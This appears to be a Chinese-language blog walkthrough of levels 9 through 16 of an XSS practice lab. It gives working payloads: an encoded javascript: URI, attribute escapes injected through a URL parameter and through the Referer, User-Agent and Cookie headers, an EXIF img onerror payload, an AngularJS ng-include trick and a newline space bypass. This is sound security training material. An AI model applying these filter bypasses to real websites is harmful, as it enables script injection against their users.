<figure class="post__image"><img loading="lazy"  src="https://old.zeyun.org/media/posts/59/Ping-Mu-Jie-Tu-2026-05-18-221845.png" alt="" width="1925" height="420" sizes="(min-width: 760px) 660px, calc(93.18vw - 30px)" srcset="https://old.zeyun.org/media/posts/59/responsive/Ping-Mu-Jie-Tu-2026-05-18-221845-xs.webp 320w ,https://old.zeyun.org/media/posts/59/responsive/Ping-Mu-Jie-Tu-2026-05-18-221845-sm.webp 480w ,https://old.zeyun.org/media/posts/59/responsive/Ping-Mu-Jie-Tu-2026-05-18-221845-md.webp 768w ,https://old.zeyun.org/media/posts/59/responsive/Ping-Mu-Jie-Tu-2026-05-18-221845-xl.webp 1024w"></figure>
<h4>第九关（level9）</h4>
<p>我们显示尝试使用我前一个关卡的思路，输入<code>java&amp;#x73;cript:alert(1)</code>，查看源码后发现</p>
<figure class="post__image"><img loading="lazy"  src="https://old.zeyun.org/media/posts/59/level9-3.png" alt="" width="2003" height="825" sizes="(min-width: 760px) 660px, calc(93.18vw - 30px)" srcset="https://old.zeyun.org/media/posts/59/responsive/level9-3-xs.webp 320w ,https://old.zeyun.org/media/posts/59/responsive/level9-3-sm.webp 480w ,https://old.zeyun.org/media/posts/59/responsive/level9-3-md.webp 768w ,https://old.zeyun.org/media/posts/59/responsive/level9-3-xl.webp 1024w"></figure>
<p>先做一个非常简单的测试，在输入框输入：</p>
<pre class="language-http line-numbers"><code>http://test.com</code></pre>
<p>查看源码后，发现，带有http的语句可以被执行</p>
<figure class="post__image"><img loading="lazy"  src="https://old.zeyun.org/media/posts/59/level9-1.png" alt="" width="1761" height="816" sizes="(min-width: 760px) 660px, calc(93.18vw - 30px)" srcset="https://old.zeyun.org/media/posts/59/responsive/level9-1-xs.webp 320w ,https://old.zeyun.org/media/posts/59/responsive/level9-1-sm.webp 480w ,https://old.zeyun.org/media/posts/59/responsive/level9-1-md.webp 768w ,https://old.zeyun.org/media/posts/59/responsive/level9-1-xl.webp 1024w"></figure>
<p>那就说明，这里的要求输入里必须包含<code>http://</code></p>
<p>那么我们就可以想到，构造既能执行 JavaScript，又能通过合法性判断的 Payload</p>
<pre class="language-json line-numbers"><code>java&amp;#x73;cript:alert(1)//http://test.com</code></pre>
<p>最终成功弹窗</p>
<figure class="post__image"><img loading="lazy"  src="https://old.zeyun.org/media/posts/59/Ping-Mu-Jie-Tu-2026-05-18-224612.png" alt="" width="1923" height="438" sizes="(min-width: 760px) 660px, calc(93.18vw - 30px)" srcset="https://old.zeyun.org/media/posts/59/responsive/Ping-Mu-Jie-Tu-2026-05-18-224612-xs.webp 320w ,https://old.zeyun.org/media/posts/59/responsive/Ping-Mu-Jie-Tu-2026-05-18-224612-sm.webp 480w ,https://old.zeyun.org/media/posts/59/responsive/Ping-Mu-Jie-Tu-2026-05-18-224612-md.webp 768w ,https://old.zeyun.org/media/posts/59/responsive/Ping-Mu-Jie-Tu-2026-05-18-224612-xl.webp 1024w"></figure>
<p><code>*注</code>：这里我一开始尝试使用普通的<code>javascript:alert(1)</code>，发现还是有关键词匹配的，会将<code>script</code>替换成<code>scr_ipt</code>，所以这里还是要用转码后的格式</p>
<h4>第十关（level10）</h4>
<p>打开这一关发现啥也没有，查看源码可发现，有3个属性为 hidden 的隐藏 value</p>
<figure class="post__image"><img loading="lazy"  src="https://old.zeyun.org/media/posts/59/level10.png" alt="" width="1536" height="908" sizes="(min-width: 760px) 660px, calc(93.18vw - 30px)" srcset="https://old.zeyun.org/media/posts/59/responsive/level10-xs.webp 320w ,https://old.zeyun.org/media/posts/59/responsive/level10-sm.webp 480w ,https://old.zeyun.org/media/posts/59/responsive/level10-md.webp 768w ,https://old.zeyun.org/media/posts/59/responsive/level10-xl.webp 1024w"></figure>
<p>虽然页面上没有输入框，但我们可以手动输入参数，判断后端是否会接收 URL 参数</p>
<p>（这一步不是为了攻击，而是为了确认，隐藏 input 的 value 值是否来自 URL 参数）</p>
<pre class="language-html line-numbers"><code>&amp;t_link=aaa
&amp;t_history=bbb
&amp;t_sort=ccc</code></pre>
<p>将以上内容拼接到网站链接后，再次查看源码，可发现有一个<code> value </code>接受了我们输入的测试参数ccc</p>
<figure class="post__image"><img loading="lazy"  src="https://old.zeyun.org/media/posts/59/level10-1.png" alt="" width="1848" height="904" sizes="(min-width: 760px) 660px, calc(93.18vw - 30px)" srcset="https://old.zeyun.org/media/posts/59/responsive/level10-1-xs.webp 320w ,https://old.zeyun.org/media/posts/59/responsive/level10-1-sm.webp 480w ,https://old.zeyun.org/media/posts/59/responsive/level10-1-md.webp 768w ,https://old.zeyun.org/media/posts/59/responsive/level10-1-xl.webp 1024w"></figure>
<p data-start="1260" data-end="1286">因为它是<code> hidden</code>，所以我们点不到它，也看不到它</p>
<p data-start="1288" data-end="1309">但是我们可以通过注入，把它变成普通文本框（要注意这里的palyload需要拼接在我们之前发现的<code>&amp;t_sort=</code>后，因为只有这一个才能传入参数）</p>
<pre class="language-html line-numbers"><code>&amp;t_sort=" type="text" onclick="alert(1)</code></pre>
<p data-start="1288" data-end="1309">这样原本隐藏的输入框就可能变成一个可点击的文本框，你点击它，就触发 <code data-start="1547" data-end="1556">onclick</code></p>
<p>最后也是成功触发弹窗</p>
<figure class="post__image"><img loading="lazy"  src="https://old.zeyun.org/media/posts/59/Ping-Mu-Jie-Tu-2026-05-18-231420.png" alt="" width="1864" height="843" sizes="(min-width: 760px) 660px, calc(93.18vw - 30px)" srcset="https://old.zeyun.org/media/posts/59/responsive/Ping-Mu-Jie-Tu-2026-05-18-231420-xs.webp 320w ,https://old.zeyun.org/media/posts/59/responsive/Ping-Mu-Jie-Tu-2026-05-18-231420-sm.webp 480w ,https://old.zeyun.org/media/posts/59/responsive/Ping-Mu-Jie-Tu-2026-05-18-231420-md.webp 768w ,https://old.zeyun.org/media/posts/59/responsive/Ping-Mu-Jie-Tu-2026-05-18-231420-xl.webp 1024w"></figure>
<h4>第十一关（level11）</h4>
<p>这一关我们发现还是依旧啥也没有，所以我们还是<code>Ctrl+U</code>打开网页源代码看看</p>
<figure class="post__image"><img loading="lazy"  src="https://old.zeyun.org/media/posts/59/level11.png" alt="" width="2289" height="873" sizes="(min-width: 760px) 660px, calc(93.18vw - 30px)" srcset="https://old.zeyun.org/media/posts/59/responsive/level11-xs.webp 320w ,https://old.zeyun.org/media/posts/59/responsive/level11-sm.webp 480w ,https://old.zeyun.org/media/posts/59/responsive/level11-md.webp 768w ,https://old.zeyun.org/media/posts/59/responsive/level11-xl.webp 1024w"></figure>
<p data-start="501" data-end="528">所以这里我们看到的不是普通 URL 参数控制，而是：</p>
<pre class="language-markdown line-numbers"><code>请求头 Referer → 后端读取 → 输出到 hidden input 的 value 里</code></pre>
<p data-start="501" data-end="528">那 Payload 应该怎么构造？</p>
<p data-start="501" data-end="528">现在注入点是：</p>
<pre class="language-html line-numbers"><code>&lt;input name="t_ref" value="你的 Referer" type="hidden"&gt;</code></pre>
<p data-start="501" data-end="528">所以我们仍然可以用双引号逃逸：</p>
<pre class="language-html line-numbers"><code>" type="text" onclick="alert(1)</code></pre>
<p data-start="501" data-end="528">最终希望它变成：</p>
<pre class="language-html line-numbers"><code>&lt;input name="t_ref" value="" type="text" onclick="alert(1)" type="hidden"&gt;</code></pre>
<p data-start="501" data-end="528">意思是：</p>
<pre class="language-markdown line-numbers"><code>" 
闭合 value 属性

type="text"
把 hidden 输入框改成普通输入框

onclick="alert(1)
添加点击事件

后面原本的 "
帮我们闭合 onclick 属性</code></pre>
<p data-start="501" data-end="528">然后页面上会出现一个输入框，点击它就弹窗</p>
<p data-start="501" data-end="528">所以我们的 Payload 就是：</p>
<pre class="language-http line-numbers"><code>Referer: " type="text" onclick="alert(1)</code></pre>
<p data-start="501" data-end="528">接下来会需要用到Burp Suite的截包工具（如果你没有Burp Suite，那么还请前往这篇链接进行安装，<a href="https://old.zeyun.org/install_burpsuite.html" target="_blank" rel="noopener noreferrer">点我前往安装Burp Suite文章</a>）</p>
<p data-start="501" data-end="528">接下来我们使用 Burp Suite 进行截包，并使用 Burp Suite 的浏览器进行操作（这样会更直观）</p>
<figure class="post__image"><img loading="lazy"  src="https://old.zeyun.org/media/posts/59/level11-1.png" alt="" width="2068" height="1220" sizes="(min-width: 760px) 660px, calc(93.18vw - 30px)" srcset="https://old.zeyun.org/media/posts/59/responsive/level11-1-xs.webp 320w ,https://old.zeyun.org/media/posts/59/responsive/level11-1-sm.webp 480w ,https://old.zeyun.org/media/posts/59/responsive/level11-1-md.webp 768w ,https://old.zeyun.org/media/posts/59/responsive/level11-1-xl.webp 1024w"></figure>
<p data-start="501" data-end="528">在新打开的浏览器中，输入你第11关（level11）的靶场网址（你的IP地址会和我的不一样，注意区分）</p>
<pre class="language-html line-numbers"><code>http://192.168.153.141:8088/level11.php?keyword=good%20job!</code></pre>
<p data-start="501" data-end="528">按照下图的步骤，在HTTP请求头里添加 <code data-start="269" data-end="278">Referer</code></p>
<figure class="post__image"><img loading="lazy"  src="https://old.zeyun.org/media/posts/59/level11-2.png" alt="" width="2811" height="1374" sizes="(min-width: 760px) 660px, calc(93.18vw - 30px)" srcset="https://old.zeyun.org/media/posts/59/responsive/level11-2-xs.webp 320w ,https://old.zeyun.org/media/posts/59/responsive/level11-2-sm.webp 480w ,https://old.zeyun.org/media/posts/59/responsive/level11-2-md.webp 768w ,https://old.zeyun.org/media/posts/59/responsive/level11-2-xl.webp 1024w"></figure>
<p data-start="501" data-end="528">随后点击“Forward”放行这个数据包，即可出现搜索框，点击即可弹窗</p>
<figure class="post__image"><img loading="lazy"  src="https://old.zeyun.org/media/posts/59/Ping-Mu-Jie-Tu-2026-05-19-003649.png" alt="" width="2855" height="1377" sizes="(min-width: 760px) 660px, calc(93.18vw - 30px)" srcset="https://old.zeyun.org/media/posts/59/responsive/Ping-Mu-Jie-Tu-2026-05-19-003649-xs.webp 320w ,https://old.zeyun.org/media/posts/59/responsive/Ping-Mu-Jie-Tu-2026-05-19-003649-sm.webp 480w ,https://old.zeyun.org/media/posts/59/responsive/Ping-Mu-Jie-Tu-2026-05-19-003649-md.webp 768w ,https://old.zeyun.org/media/posts/59/responsive/Ping-Mu-Jie-Tu-2026-05-19-003649-xl.webp 1024w"></figure>
<h4 data-start="501" data-end="528">第十二关（level12）</h4>
<p>有了上一关的经验，这次我们依旧查看源码，看看网页端写了什么</p>
<figure class="post__image"><img loading="lazy"  src="https://old.zeyun.org/media/posts/59/level12.png" alt="" width="2359" height="897" sizes="(min-width: 760px) 660px, calc(93.18vw - 30px)" srcset="https://old.zeyun.org/media/posts/59/responsive/level12-xs.webp 320w ,https://old.zeyun.org/media/posts/59/responsive/level12-sm.webp 480w ,https://old.zeyun.org/media/posts/59/responsive/level12-md.webp 768w ,https://old.zeyun.org/media/posts/59/responsive/level12-xl.webp 1024w"></figure>
<p>源码里出现了：</p>
<pre class="language-html line-numbers"><code>&lt;input name="t_ua" value="浏览器UA内容" type="hidden"&gt;</code></pre>
<p>这说明后端做了类似这样的事情：</p>
<pre class="language-markdown line-numbers"><code>读取 HTTP 请求头里的 User-Agent
↓
输出到 hidden input 的 value 属性中</code></pre>
<p>所以第 12 关的注入点不是 URL 参数，而是：<code>User-Agent: </code>这里</p>
<p>那么就很简单了 Payload 就和第 11 关一样，里面，所以还是用双引号闭合</p>
<pre class="language-html line-numbers"><code>目标是把原来的：
&lt;input name="t_ua" value="你的User-Agent" type="hidden"&gt;
变成：
&lt;input name="t_ua" value="" type="text" onclick="alert(1)" type="hidden"&gt;</code></pre>
<p>这样原本隐藏的输入框会变成普通文本框，点击它就触发 <code data-start="966" data-end="975">onclick</code></p>
<p>操作步骤还是和第11关一样，这里我就使用文字来进行简单概述一下</p>
<pre class="language-markdown line-numbers"><code>1. Burp → Proxy → Intercept
2. 打开 Intercept on
3. 浏览器刷新：
   http://192.168.153.141:8088/level12.php
4. Burp 拦截请求
5. 找到 User-Agent 这一行
6. 把它改成：
   User-Agent: " type="text" onclick="alert(1)
7. 点 Forward
8. 回到浏览器，页面应该出现一个小输入框
9. 点击输入框，触发弹窗</code></pre>
<figure class="post__image"><img loading="lazy"  src="https://old.zeyun.org/media/posts/59/level12-1.png" alt="" width="2636" height="1377" sizes="(min-width: 760px) 660px, calc(93.18vw - 30px)" srcset="https://old.zeyun.org/media/posts/59/responsive/level12-1-xs.webp 320w ,https://old.zeyun.org/media/posts/59/responsive/level12-1-sm.webp 480w ,https://old.zeyun.org/media/posts/59/responsive/level12-1-md.webp 768w ,https://old.zeyun.org/media/posts/59/responsive/level12-1-xl.webp 1024w"></figure>
<p>最后点击“Forward”放行这个数据包，即可出现搜索框，点击即可触发弹窗</p>
<figure class="post__image"><img loading="lazy"  src="https://old.zeyun.org/media/posts/59/Ping-Mu-Jie-Tu-2026-05-19-010433.png" alt="" width="1316" height="967" sizes="(min-width: 760px) 660px, calc(93.18vw - 30px)" srcset="https://old.zeyun.org/media/posts/59/responsive/Ping-Mu-Jie-Tu-2026-05-19-010433-xs.webp 320w ,https://old.zeyun.org/media/posts/59/responsive/Ping-Mu-Jie-Tu-2026-05-19-010433-sm.webp 480w ,https://old.zeyun.org/media/posts/59/responsive/Ping-Mu-Jie-Tu-2026-05-19-010433-md.webp 768w ,https://old.zeyun.org/media/posts/59/responsive/Ping-Mu-Jie-Tu-2026-05-19-010433-xl.webp 1024w"></figure>
<h4>第十三关（level13）</h4>
<p>这次打开页面，发现有一行报错，翻译成中文是</p>
<pre class="language-markdown line-numbers"><code>警告 ：无法修改标头信息 - 标头已由（输出始于 /var/www/html/level13.php:1）发送，位于 /var/www/html/level13.php 第 16 行</code></pre>
<p>根据前几关的思路，我们发现这似乎已经形成了一个规律：</p>
<pre class="language-markdown line-numbers"><code>level10:
t_link / t_history / t_sort
↓
隐藏字段
↓
通过 URL 参数控制

level11:
t_ref
↓
ref 很像 Referer
↓
实际来自 Referer 请求头

level12:
t_ua
↓
ua 是 User-Agent 的常见缩写
↓
实际来自 User-Agent 请求头</code></pre>
<p>那这里的第十二关，我们通过<code>Crtl+U</code>查看源码可发现一个名叫<code>t_cook</code>的参数</p>
<p>这是一个强线索，但是需要实验来进行验证</p>
<p>我们首先先使用第十关（level10）的思想，我们直接在浏览器的地址栏输入以下内容</p>
<pre class="language-http line-numbers"><code>http://192.168.153.141:8088/level13.php?t_cook=aaa</code></pre>
<p>但是再次查看源码后发现并没有传入参数，那么也就说明它大概率不是从<code> URL GET </code>参数来的</p>
<p>然后再测试 Cookie，这时用 Burp 拦截请求，在请求头里加：</p>
<pre class="language-http line-numbers"><code>Cookie: user=aaa</code></pre>
<figure class="post__image"><img loading="lazy"  src="https://old.zeyun.org/media/posts/59/level13-1.png" alt="" width="2861" height="1368" sizes="(min-width: 760px) 660px, calc(93.18vw - 30px)" srcset="https://old.zeyun.org/media/posts/59/responsive/level13-1-xs.webp 320w ,https://old.zeyun.org/media/posts/59/responsive/level13-1-sm.webp 480w ,https://old.zeyun.org/media/posts/59/responsive/level13-1-md.webp 768w ,https://old.zeyun.org/media/posts/59/responsive/level13-1-xl.webp 1024w"></figure>
<p>经过上述的步骤，这里也是成功验证了<code>t_cook</code>就是<code>cookie</code></p>
<p>在已经确认<code data-start="2034" data-end="2052">Cookie: user=aaa</code>能控制<code data-start="2057" data-end="2065">t_cook</code>，再把 Cookie 改成：</p>
<pre class="language-http line-numbers"><code>Cookie: user=" type="text" onclick="alert(1)</code></pre>
<p>在点击我们构造的 Payload 点击事件后，即可成功触发XSS弹窗</p>
<figure class="post__image"><img loading="lazy"  src="https://old.zeyun.org/media/posts/59/Ping-Mu-Jie-Tu-2026-05-21-224545.png" alt="" width="1388" height="967" sizes="(min-width: 760px) 660px, calc(93.18vw - 30px)" srcset="https://old.zeyun.org/media/posts/59/responsive/Ping-Mu-Jie-Tu-2026-05-21-224545-xs.webp 320w ,https://old.zeyun.org/media/posts/59/responsive/Ping-Mu-Jie-Tu-2026-05-21-224545-sm.webp 480w ,https://old.zeyun.org/media/posts/59/responsive/Ping-Mu-Jie-Tu-2026-05-21-224545-md.webp 768w ,https://old.zeyun.org/media/posts/59/responsive/Ping-Mu-Jie-Tu-2026-05-21-224545-xl.webp 1024w"></figure>
<h4>第十四关（level14）</h4>
<p>在这一关，我们发现这里的网页源码中访问了一个网站（但截至当前时间节点，该网站似乎已经关站了，所以无奈之下，只能跳过）</p>
<figure class="post__image"><img loading="lazy"  src="https://old.zeyun.org/media/posts/59/Ping-Mu-Jie-Tu-2026-05-21-224919.png" alt="" width="2444" height="1407" sizes="(min-width: 760px) 660px, calc(93.18vw - 30px)" srcset="https://old.zeyun.org/media/posts/59/responsive/Ping-Mu-Jie-Tu-2026-05-21-224919-xs.webp 320w ,https://old.zeyun.org/media/posts/59/responsive/Ping-Mu-Jie-Tu-2026-05-21-224919-sm.webp 480w ,https://old.zeyun.org/media/posts/59/responsive/Ping-Mu-Jie-Tu-2026-05-21-224919-md.webp 768w ,https://old.zeyun.org/media/posts/59/responsive/Ping-Mu-Jie-Tu-2026-05-21-224919-xl.webp 1024w"></figure>
<p>结合早期前辈的访问记录，这里我简单说一下这一关的原理和步骤</p>
<figure class="post__image"><img loading="lazy"  src="https://old.zeyun.org/media/posts/59/Ping-Mu-Jie-Tu-2026-05-21-225803.png" alt="" width="1516" height="913" sizes="(min-width: 760px) 660px, calc(93.18vw - 30px)" srcset="https://old.zeyun.org/media/posts/59/responsive/Ping-Mu-Jie-Tu-2026-05-21-225803-xs.webp 320w ,https://old.zeyun.org/media/posts/59/responsive/Ping-Mu-Jie-Tu-2026-05-21-225803-sm.webp 480w ,https://old.zeyun.org/media/posts/59/responsive/Ping-Mu-Jie-Tu-2026-05-21-225803-md.webp 768w ,https://old.zeyun.org/media/posts/59/responsive/Ping-Mu-Jie-Tu-2026-05-21-225803-xl.webp 1024w"></figure>
<p>你可以把它理解成：<strong data-start="99" data-end="159">图片表面是一张正常图片，但图片的“属性信息”里可以写文字；如果网站把这些文字直接输出到网页，就可能触发 XSS</strong></p>
<figure class="post__image"><img loading="lazy"  src="https://old.zeyun.org/media/posts/59/Ping-Mu-Jie-Tu-2026-05-21-230040.png" alt="" width="1478" height="1083" sizes="(min-width: 760px) 660px, calc(93.18vw - 30px)" srcset="https://old.zeyun.org/media/posts/59/responsive/Ping-Mu-Jie-Tu-2026-05-21-230040-xs.webp 320w ,https://old.zeyun.org/media/posts/59/responsive/Ping-Mu-Jie-Tu-2026-05-21-230040-sm.webp 480w ,https://old.zeyun.org/media/posts/59/responsive/Ping-Mu-Jie-Tu-2026-05-21-230040-md.webp 768w ,https://old.zeyun.org/media/posts/59/responsive/Ping-Mu-Jie-Tu-2026-05-21-230040-xl.webp 1024w"></figure>
<p>也就是说，不是你在地址栏里写 payload，而是把 payload 写进图片的属性里（如上图所示）</p>
<p>这些信息就叫图片元数据，常见类型包括：</p>
<pre class="language-markdown line-numbers"><code>EXIF
IPTC
XMP</code></pre>
<p>比如图片属性里可能有：</p>
<pre class="language-markdown line-numbers"><code>标题：xxx
作者：xxx
备注：xxx
版权：xxx</code></pre>
<p>比如图片属性里可能有：</p>
<pre class="language-markdown line-numbers"><code>标题：xxx
作者：xxx
备注：xxx
版权：xxx</code></pre>
<p data-start="570" data-end="582">如果我们把这些字段改成：</p>
<div class="relative w-full mt-4 mb-1">
<div class="">
<div class="relative" data-custom-highlighting-behavior="boundary">
<div class="h-full min-h-0 min-w-0">
<div class="h-full min-h-0 min-w-0">
<div class="border border-token-border-light border-radius-3xl corner-superellipse/1.1 rounded-3xl">
<div class="h-full w-full border-radius-3xl bg-token-bg-elevated-secondary corner-superellipse/1.1 overflow-clip rounded-3xl lxnfua_clipPathFallback">
<div class="pointer-events-none absolute inset-x-4 top-12 bottom-4">
<div class="pointer-events-none sticky z-40 shrink-0 z-1!">
<div>
<pre class="language-html line-numbers"><code>"&gt;&lt;img src=x onerror=alert(1)&gt;</code></pre>
</div>
<div>那么这个 payload 就被藏进图片里面了</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<p>下图红色箭头指向的这些破图标很关键，它说明：</p>
<pre class="language-markdown line-numbers"><code>EXIF 字段里的 &lt;img src=x ...&gt; 被浏览器当成了真正的 img 标签解析</code></pre>
<figure class="post__image"><img loading="lazy"  src="https://old.zeyun.org/media/posts/59/level14-6.png" alt="" width="1366" height="613" sizes="(min-width: 760px) 660px, calc(93.18vw - 30px)" srcset="https://old.zeyun.org/media/posts/59/responsive/level14-6-xs.webp 320w ,https://old.zeyun.org/media/posts/59/responsive/level14-6-sm.webp 480w ,https://old.zeyun.org/media/posts/59/responsive/level14-6-md.webp 768w ,https://old.zeyun.org/media/posts/59/responsive/level14-6-xl.webp 1024w"></figure>
<p>但现在出现了破图标，说明浏览器真的创建了<code data-start="1243" data-end="1250">&lt;img&gt;</code>元素</p>
<p>然后因为 <code data-start="1261" data-end="1268">src=x</code> 加载失败，就会触发：</p>
<pre class="language-html line-numbers"><code>onerror=alert(1)</code></pre>
<p>也就是下图的弹窗</p>
<figure class="post__image"><img loading="lazy"  src="https://old.zeyun.org/media/posts/59/level14-5.png" alt="" width="1366" height="610" sizes="(min-width: 760px) 660px, calc(93.18vw - 30px)" srcset="https://old.zeyun.org/media/posts/59/responsive/level14-5-xs.webp 320w ,https://old.zeyun.org/media/posts/59/responsive/level14-5-sm.webp 480w ,https://old.zeyun.org/media/posts/59/responsive/level14-5-md.webp 768w ,https://old.zeyun.org/media/posts/59/responsive/level14-5-xl.webp 1024w"></figure>
<p>以上图片出处为：<a href="https://xz.aliyun.com/news/1147#toc-12" target="_blank" rel="noopener noreferrer">先知社区</a></p>
<h5>那这个漏洞是怎么产生的？</h5>
<p data-start="675" data-end="708">假设有一个图片信息查看网站，它会读取图片元数据，然后显示到网页上</p>
<p data-start="710" data-end="722">正常情况它应该这样显示：</p>
<pre class="language-html line-numbers"><code>&lt;td&gt;&amp;quot;&amp;gt;&amp;lt;img src=x onerror=alert(1)&amp;gt;&lt;/td&gt;</code></pre>
<p data-start="791" data-end="807">这样浏览器只会把它当成普通文字</p>
<p data-start="809" data-end="822">但如果网站偷懒，直接输出：</p>
<pre class="language-html line-numbers"><code>&lt;td&gt;"&gt;&lt;img src=x onerror=alert(1)&gt;&lt;/td&gt;</code></pre>
<p data-start="877" data-end="898">浏览器就会真的解析 <code data-start="887" data-end="894">&lt;img&gt;</code> 标签</p>
<p data-start="900" data-end="903">因为：</p>
<pre class="language-html line-numbers"><code>&lt;img src=x onerror=alert(1)&gt;</code></pre>
<p data-start="900" data-end="903">里面的 <code data-start="951" data-end="958">src=x</code> 是一个不存在的图片地址，所以图片加载失败，触发 <code data-start="983" data-end="992">onerror</code>，然后执行：</p>
<pre class="language-html line-numbers"><code>alert(1)</code></pre>
<p data-start="900" data-end="903">这就是 EXIF XSS 的本质</p>
<h4>第十五关（level15）</h4>
<p>查看源码后发现，这儿有个陌生的东西<code>ng-include</code></p>
<p>这里需要补充一个概念：<code data-start="275" data-end="287">ng-include</code> 是什么？</p>
<p>可以先简单理解成：</p>
<pre class="language-markdown line-numbers"><code>ng-include = 把另一个页面的内容加载进当前页面</code></pre>
<p>比如 Angular 里可以写：</p>
<pre class="language-html line-numbers"><code>&lt;span ng-include="'test.html'"&gt;&lt;/span&gt;</code></pre>
<p>意思是：把<code>test.html</code>的内容加载到这里</p>
<p data-start="686" data-end="721">可是现在页面没有输入框，也没有明显参数，所以不要急着打 payload</p>
<p data-start="723" data-end="728">先看源码：</p>
<figure class="post__image"><img loading="lazy"  src="https://old.zeyun.org/media/posts/59/level15.png" alt="" width="1028" height="661" sizes="(min-width: 760px) 660px, calc(93.18vw - 30px)" srcset="https://old.zeyun.org/media/posts/59/responsive/level15-xs.webp 320w ,https://old.zeyun.org/media/posts/59/responsive/level15-sm.webp 480w ,https://old.zeyun.org/media/posts/59/responsive/level15-md.webp 768w ,https://old.zeyun.org/media/posts/59/responsive/level15-xl.webp 1024w"></figure>
<p>它是不是在等我们通过<code>URL</code>参数给<code>ng-include</code>传一个页面地址？</p>
<p>常见参数名可能是<code>src</code></p>
<p>所以我们试试在后面拼接：</p>
<pre class="language-php line-numbers"><code>src='level1.php'
#注意这里有单引号，因为 ng-include 后面接的是 Angular 表达式，不是普通字符串
#这里的 'level1.php' 就是一个字符串，Angular 知道你要加载这个页面</code></pre>
<p>发现居然下面拼接出来了第一关的页面</p>
<figure class="post__image"><img loading="lazy"  src="https://old.zeyun.org/media/posts/59/Ping-Mu-Jie-Tu-2026-05-21-232855.png" alt="" width="2212" height="1588" sizes="(min-width: 760px) 660px, calc(93.18vw - 30px)" srcset="https://old.zeyun.org/media/posts/59/responsive/Ping-Mu-Jie-Tu-2026-05-21-232855-xs.webp 320w ,https://old.zeyun.org/media/posts/59/responsive/Ping-Mu-Jie-Tu-2026-05-21-232855-sm.webp 480w ,https://old.zeyun.org/media/posts/59/responsive/Ping-Mu-Jie-Tu-2026-05-21-232855-md.webp 768w ,https://old.zeyun.org/media/posts/59/responsive/Ping-Mu-Jie-Tu-2026-05-21-232855-xl.webp 1024w"></figure>
<p data-section-id="1oy48zb" data-start="1540" data-end="1555">然后再构造 XSS</p>
<p data-start="1557" data-end="1602">既然它可以加载别的页面，那我们可以加载前面已经知道有 XSS 的页面</p>
<p data-start="1557" data-end="1602">比如 level1的漏洞是：</p>
<pre class="language-html line-numbers"><code>level1.php?name=alert弹窗语句</code></pre>
<p>但是我们并不能直接把第一关的<code><span class="ͼ13">&lt;script&gt;</span><span class="ͼ11">alert</span>(<span class="ͼy">1</span>)<span class="ͼ13">&lt;/script&gt;</span></code>拿来直接使用</p>
<p data-start="1406" data-end="1473">因为 level15 是通过 AngularJS 的 <code data-start="1433" data-end="1445">ng-include</code> 把 level1 的返回内容“动态插入”到当前页面里</p>
<p data-start="1475" data-end="1523">动态插入 HTML 时，浏览器/Angular 往往不会执行里面的 <code data-start="1509" data-end="1519">&lt;script&gt;</code> 标签</p>
<p data-start="1475" data-end="1523">结合之前的第十四关（level14），我们可以使用</p>
<pre class="language-html line-numbers"><code>&lt;img src=x onerror=alert(1)&gt;</code></pre>
<p>所以第 15 关可以使用以下的代码：</p>
<pre class="language-http line-numbers"><code>level15.php?src='level1.php?name=&lt;img src=x onerror=alert(1)&gt;'</code></pre>
<p>输入后，即可成功触发弹窗：</p>
<figure class="post__image"><img loading="lazy"  src="https://old.zeyun.org/media/posts/59/Ping-Mu-Jie-Tu-2026-05-21-234122.png" alt="" width="2143" height="1125" sizes="(min-width: 760px) 660px, calc(93.18vw - 30px)" srcset="https://old.zeyun.org/media/posts/59/responsive/Ping-Mu-Jie-Tu-2026-05-21-234122-xs.webp 320w ,https://old.zeyun.org/media/posts/59/responsive/Ping-Mu-Jie-Tu-2026-05-21-234122-sm.webp 480w ,https://old.zeyun.org/media/posts/59/responsive/Ping-Mu-Jie-Tu-2026-05-21-234122-md.webp 768w ,https://old.zeyun.org/media/posts/59/responsive/Ping-Mu-Jie-Tu-2026-05-21-234122-xl.webp 1024w"></figure>
<p>需要注意，这里不能和文件包含漏洞弄混淆，区别如下：</p>
<pre class="language-markdown line-numbers"><code>从思路上，它像文件包含；
从漏洞类型上，它更准确地叫 AngularJS ng-include 导致的前端 XSS</code></pre>
<h4>第十六关（level16）</h4>
<p>首先还是依旧<code>Ctrl+U</code>查看源码</p>
<figure class="post__image"><img loading="lazy"  src="https://old.zeyun.org/media/posts/59/level16.png" alt="" width="1218" height="702" sizes="(min-width: 760px) 660px, calc(93.18vw - 30px)" srcset="https://old.zeyun.org/media/posts/59/responsive/level16-xs.webp 320w ,https://old.zeyun.org/media/posts/59/responsive/level16-sm.webp 480w ,https://old.zeyun.org/media/posts/59/responsive/level16-md.webp 768w ,https://old.zeyun.org/media/posts/59/responsive/level16-xl.webp 1024w"></figure>
<p>这个位置其实很像我们在第 1 关测试的：</p>
<pre class="language-html line-numbers"><code>&lt;h2&gt;test&lt;/h2&gt;</code></pre>
<p>所以第一反应应该是：</p>
<pre class="language-html line-numbers"><code>&lt;script&gt;alert(1)&lt;/script&gt;</code></pre>
<p>但是第 16 关肯定不会这么简单。它会过滤一些东西</p>
<p>再看源码，发现它变成了奇怪的东西，我们的<code>&lt;script&gt;</code>标签变成了<code>&amp;nbsp;</code></p>
<p>既然<code>&lt;script&gt;</code>标签不行，那么我们尝试前一关的：</p>
<pre class="language-html line-numbers"><code>&lt;img src=x onerror=alert(1)&gt;</code></pre>
<figure class="post__image"><img loading="lazy"  src="https://old.zeyun.org/media/posts/59/level16-1.png" alt="" width="1617" height="700" sizes="(min-width: 760px) 660px, calc(93.18vw - 30px)" srcset="https://old.zeyun.org/media/posts/59/responsive/level16-1-xs.webp 320w ,https://old.zeyun.org/media/posts/59/responsive/level16-1-sm.webp 480w ,https://old.zeyun.org/media/posts/59/responsive/level16-1-md.webp 768w ,https://old.zeyun.org/media/posts/59/responsive/level16-1-xl.webp 1024w"></figure>
<p>但是输入之后，依旧是失败的</p>
<p>查看源码后发现：<strong data-start="10" data-end="66">第 16 关没有把 <code data-start="22" data-end="25">&lt;</code>、<code data-start="26" data-end="29">&gt;</code>、<code data-start="30" data-end="39">onerror</code> 删除，但它把普通空格替换成了 <code data-start="55" data-end="63">&amp;nbsp;</code></strong></p>
<p>目前可以推断：</p>
<pre class="language-markdown line-numbers"><code>&lt; 没有被过滤
&gt; 没有被过滤
img 没有被过滤
src 没有被过滤
onerror 没有被过滤
alert 没有被过滤

但是普通空格被替换成了 &amp;nbsp;</code></pre>
<p>空格可以用回车来代替绕过，回车的url编码是<code>%0a</code>，&lt;&gt;的url编码是，再配合上之前的<code>&lt;img&gt;</code>标签</p>
<pre class="language-html line-numbers"><code>&lt;img
src=x
